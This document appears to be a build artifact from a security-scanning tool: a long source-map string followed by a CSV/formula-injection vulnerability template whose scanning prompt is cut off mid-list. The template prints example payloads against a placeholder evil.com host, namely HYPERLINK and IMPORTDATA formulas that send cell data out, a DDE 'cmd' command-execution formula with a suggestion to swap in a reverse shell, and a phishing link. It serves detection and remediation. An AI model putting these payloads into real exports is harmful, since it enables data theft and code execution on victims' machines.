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"}
@@ -0,0 +1,2 @@
1
+ import type { VulnerabilityTemplate } from '../../types.js';
2
+ export declare const csvInjection: VulnerabilityTemplate;
@@ -0,0 +1,148 @@
1
+ export const csvInjection = {
2
+ id: 'csv-injection',
3
+ name: 'CSV / Formula Injection',
4
+ cwe: 'CWE-1236',
5
+ filePatterns: ['csv', 'export', 'download', 'spreadsheet', 'report', 'excel', 'generate', 'xlsx', 'xls'],
6
+ negativePatterns: [],
7
+ triagePrompt: `You are a security researcher hunting for CSV/formula injection vulnerabilities.
8
+
9
+ Analyze the code for places where user-controlled data is written to CSV, XLSX, or other spreadsheet formats without sanitizing formula-triggering characters. When the exported file is opened in Excel, Google Sheets, or LibreOffice, injected formulas can execute commands or exfiltrate data.
10
+
11
+ DANGEROUS CELL PREFIXES:
12
+ - = (formula): =1+1 executes, =HYPERLINK("http://evil.com/"&A1,"Click") exfiltrates data
13
+ - + (formula): +1+1 treated as formula in many spreadsheet applications
14
+ - - (formula): -1+1 treated as formula
15
+ - @ (function): @SUM(A1:A10) in some spreadsheet applications
16
+ - | (pipe): |cmd in some contexts
17
+ - \\t (tab): can break out of the current cell into adjacent cells
18
+
19
+ ATTACK SCENARIOS:
20
+ 1. Data exfiltration via HYPERLINK:
21
+ =HYPERLINK("http://evil.com/steal?data="&A1&B1&C1, "Click for Details")
22
+ When victim clicks, their data is sent to attacker's server
23
+
24
+ 2. Command execution via DDE (Dynamic Data Exchange):
25
+ =cmd|'/C calc.exe'!A1 (Windows — opens calculator, replace with reverse shell)
26
+ Works in older Excel versions and when DDE is enabled
27
+
28
+ 3. Remote file inclusion:
29
+ =IMPORTDATA("http://evil.com/payload.csv") (Google Sheets specific)
30
+
31
+ 4. Social engineering via crafted hyperlinks:
32
+ =HYPERLINK("http://evil.com/login","Update your password here")
33
+
34
+ WHAT TO LOOK FOR IN CODE:
35
+ - CSV generation functions: csv.writer, createObjectCsvWriter, json2csv, papaparse
36
+ - String concatenation into CSV cells without escaping
37
+ - User-controlled fields: name, description, comment, address, notes
38
+ - No sanitization of cell values before writing to CSV
39
+ - Template literals or string interpolation building CSV rows
40
+
41
+ CORRECT SANITIZATION:
42
+ - Prefix dangerous cells with a single quote: ' before = + - @ | \\t
43
+ (The quote is hidden in spreadsheet display but prevents formula execution)
44
+ - Or prefix with a tab character followed by the value
45
+ - Or wrap ALL cells in explicit string type when generating XLSX
46
+ - Or strip/reject formula characters from user input before storage
47
+
48
+ FALSE POSITIVE FILTERS:
49
+ - CSV files that only contain system-generated data (no user input in cells)
50
+ - Export functions with proper sanitization: value.replace(/^[=+\\-@|\\t]/, "'$&")
51
+ - XLSX libraries that set cell type to 'string' explicitly (prevents formula parsing)
52
+
53
+ ENTRY POINTS:
54
+ - Admin dashboard export buttons (export users, export orders, export reports)
55
